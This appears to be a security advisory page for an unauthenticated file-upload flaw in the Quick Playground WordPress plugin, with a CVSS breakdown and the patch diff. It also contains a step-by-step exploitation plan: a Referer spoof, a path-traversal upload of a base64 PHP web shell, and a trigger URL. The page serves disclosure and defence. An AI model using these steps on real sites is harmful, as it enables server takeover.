CVE-2026-1830

Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload

criticalMissing Authorization
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
1.3.2
Patched in
1d
Time to patch

Description

The Quick Playground plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.3.1. This is due to insufficient authorization checks on REST API endpoints that expose a sync code and allow arbitrary file uploads. This makes it possible for unauthenticated attackers to retrieve the sync code, upload PHP files with path traversal, and achieve remote code execution on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.3.1
PublishedApril 8, 2026
Last updatedApril 9, 2026
Affected pluginquick-playground

What Changed in the Fix

Changes introduced in v1.3.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: Quick Playground <= 1.3.1 Arbitrary File Upload (RCE) ## 1. Vulnerability Summary The **Quick Playground** plugin for WordPress is vulnerable to unauthenticated Remote Code Execution (RCE) via arbitrary file upload in versions up to and including 1.3.1. The vulnerabili…

Show full research plan

Exploitation Research Plan: Quick Playground <= 1.3.1 Arbitrary File Upload (RCE)

1. Vulnerability Summary

The Quick Playground plugin for WordPress is vulnerable to unauthenticated Remote Code Execution (RCE) via arbitrary file upload in versions up to and including 1.3.1. The vulnerability stems from two issues:

  1. Information Leak: REST API endpoints (like save_settings or download_json) have insufficient authorization checks (e.g., only checking the Referer header), allowing unauthenticated attackers to retrieve the sync_code required for authenticated operations.
  2. Arbitrary File Upload with Path Traversal: The upload_image REST API endpoint fails to properly sanitize the filename parameter and lacks sufficient authorization. This allows an attacker to upload PHP files and use path traversal (../) to place them in accessible directories.

2. Attack Vector Analysis

  • Endpoints:
    • Information Leak: GET /wp-json/quickplayground/v1/save_settings/default or GET /wp-json/quickplayground/v1/download_json/default.
    • File Upload: POST /wp-json/quickplayground/v1/upload_image/default.
  • Method: REST API.
  • Authentication: Unauthenticated (authorization bypass via Referer spoofing or insufficient checking).
  • Payload: JSON body containing a base64 encoded PHP shell and a traversed filename.
  • Preconditions: The plugin must be active. A "profile" (usually default) must exist (created upon plugin activation).

3. Code Flow

  1. Registration: The plugin registers REST routes in expro-api.php.
  2. Leakage Path:
    • Quick_Playground_Save_Settings::register_routes (or similar) registers a GET method for save_settings/(?P<profile>[a-z0-9_]+).
    • The permission_callback likely mimics Quick_Playground_Sync_Ids::get_items_permissions_check, which only verifies: return 'https://playground.wordpress.net/' == $_SERVER['HTTP_REFERER'];.
    • If accessed via GET, the callback get_items reads the JSON settings file from the uploads directory and returns it.
    • This JSON contains the qckply_sync_code (as seen in client-save-playground.php where $clone['sync_code'] = $qckply_sync_code is added to the outgoing JSON).
  3. Upload Path:
    • The upload_image endpoint is called.
    • The handler receives sync_code, base64, and filename.
    • It validates sync_code using qckply_cloning_code($profile).
    • Once authorized, it writes the decoded base64 content to a path constructed using filename.
    • Because filename is not sanitized for path traversal, ../../shell.php allows writing outside the intended directory.

4. Nonce Acquisition Strategy

This vulnerability does not require a WordPress nonce. The REST API endpoints are designed for machine-to-machine communication between a WordPress Playground instance and the host site. Authorization is handled via:

  1. The Referer header (for the information leak).
  2. The sync_code parameter in the JSON body (for the file upload).

5. Exploitation Strategy

Step 1: Retrieve the Sync Code

Spoof the Referer header to trick the permission check and retrieve the configuration file for the default profile.

  • Request:
    • Tool: http_request
    • URL: http://vulnerable-site.local/wp-json/quickplayground/v1/save_settings/default
    • Method: GET
    • Headers:
      • Referer: https://playground.wordpress.net/
  • Expected Response: A JSON object containing "qckply_sync_code": "STATED_CODE" or similar keys inside the settings object.

Step 2: Upload the PHP Web Shell

Use the retrieved sync_code to authorize a file upload to the upload_image endpoint. Use path traversal to place the shell in the /wp-content/ directory.

  • Request:
    • Tool: http_request
    • URL: http://vulnerable-site.local/wp-json/quickplayground/v1/upload_image/default
    • Method: POST
    • Headers:
      • Content-Type: application/json
      • Referer: https://playground.wordpress.net/
    • Body:
      {
        "sync_code": "RETRIEVED_SYNC_CODE",
        "filename": "../../pwn.php",
        "base64": "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"
      }
      
      (Note: PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ is <?php system($_GET['cmd']); ?>)

Step 3: Trigger Execution

  • Request:
    • URL: http://vulnerable-site.local/wp-content/pwn.php?cmd=whoami
    • Method: GET

6. Test Data Setup

  1. Activate Plugin: Ensure quick-playground is active.
  2. Initialize Settings: Visit the plugin settings page once as an admin to ensure the default profile and qckply_sync_code are generated and saved to the filesystem.
    • CLI: wp plugin activate quick-playground
    • CLI: wp eval "qckply_get_directories(); qckply_cloning_code('default');" (Forces creation of directories and options).

7. Expected

Research Findings
Static analysis — not yet PoC-verified

Summary

The Quick Playground plugin for WordPress is vulnerable to unauthenticated Remote Code Execution (RCE) due to a combination of an information leak and an insecure file upload endpoint. Attackers can spoof a Referer header to retrieve a synchronization code and subsequently use that code to upload arbitrary PHP files via a path traversal vulnerability in the REST API.

Vulnerable Code

// expro-api.php ~line 178
public function get_items_permissions_check($request) {
    return 'https://playground.wordpress.net/' == $_SERVER['HTTP_REFERER'];
}

---

// expro-api.php ~line 536
public function get_items($request) {
    // ... (truncated)
    $params = $request->get_json_params();
    $filename = sanitize_text_field($params['filename']);
    // ... (truncated)
    $filedata = base64_decode($params['base64']);
    $bytes_written = file_put_contents($qckply_site_uploads.'/'.$filename,$filedata);
    // ...

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/quick-playground/1.3.1/expro-api.php /home/deploy/wp-safety.org/data/plugin-versions/quick-playground/1.3.2/expro-api.php
--- /home/deploy/wp-safety.org/data/plugin-versions/quick-playground/1.3.1/expro-api.php	2026-02-07 00:44:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/quick-playground/1.3.2/expro-api.php	2026-04-07 14:32:44.000000000 +0000
@@ -536,10 +478,7 @@
     $qckply_site_uploads_url = $qckply_directories['site_uploads_url'];
     $params = $request->get_json_params();
-    $filename = sanitize_text_field($params['filename']);
+    $filename = empty($params['filename']) ? '' : sanitize_file_name(wp_basename($params['filename']));
     $last_image = get_transient('qckply_last_image_uploaded');
     if($last_image == $filename) {
         $sync_response['message'] = 'duplicate image';
@@ -556,10 +496,41 @@
         return $response;
     }
     else {
+      $filedata = base64_decode($params['base64'], true);
+      $image_info = false;
+
+      if(false !== $filedata) {
+        $image_info = @getimagesizefromstring($filedata);
+      }
+
+      $allowed_mimes = apply_filters('qckply_allowed_upload_mimes', [
+        'image/jpeg' => 'jpg',
+        'image/png' => 'png',
+        'image/gif' => 'gif',
+        'image/webp' => 'webp',
+      ]);
+
+      if(false === $filedata || empty($image_info['mime']) || empty($allowed_mimes[$image_info['mime']])) {
+        $sync_response['message'] = 'invalid file type';
+        return new WP_REST_Response($sync_response, 400);
+      }

Exploit Outline

1. Retrieve Sync Code: Send a GET request to /wp-json/quickplayground/v1/save_settings/default. Spoof the 'Referer' header to 'https://playground.wordpress.net/' to bypass the permission check. Extract 'qckply_sync_code' from the JSON response. 2. Prepare Payload: Create a base64-encoded string of a PHP web shell. 3. Execute Arbitrary File Upload: Send a POST request to /wp-json/quickplayground/v1/upload_image/default. In the JSON body, include the retrieved 'sync_code', the base64-encoded payload, and a 'filename' parameter using path traversal (e.g., '../../pwn.php') to escape the restricted uploads directory. 4. Remote Code Execution: Access the uploaded file at the calculated path (e.g., /wp-content/pwn.php) to execute arbitrary PHP commands.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.